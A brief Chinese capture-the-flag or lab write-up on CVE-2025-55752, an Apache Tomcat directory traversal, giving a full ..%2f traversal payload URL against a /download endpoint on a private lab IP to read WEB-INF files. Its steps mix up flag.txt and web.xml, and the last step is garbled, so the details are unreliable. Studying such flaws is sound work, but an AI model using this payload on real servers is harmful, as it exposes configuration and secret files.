CVE-2025-55752 Apache Tomcat 目录遍历 wp

访问ip Tomcat 8080端口

1. 找入口：先访问靶场的/download接口，这是个可以传path参数的 “文件下载器”。
2. 改路径：把要访问的路径写成..%2fWEB-INF/flag.txt，拼到 URL 里就是http://192.168.111.20:8080/download?path=..%2fWEB-INF/web.xml。

   

3. 拿结果：发送请求，服务器把web.xml替换flag.txt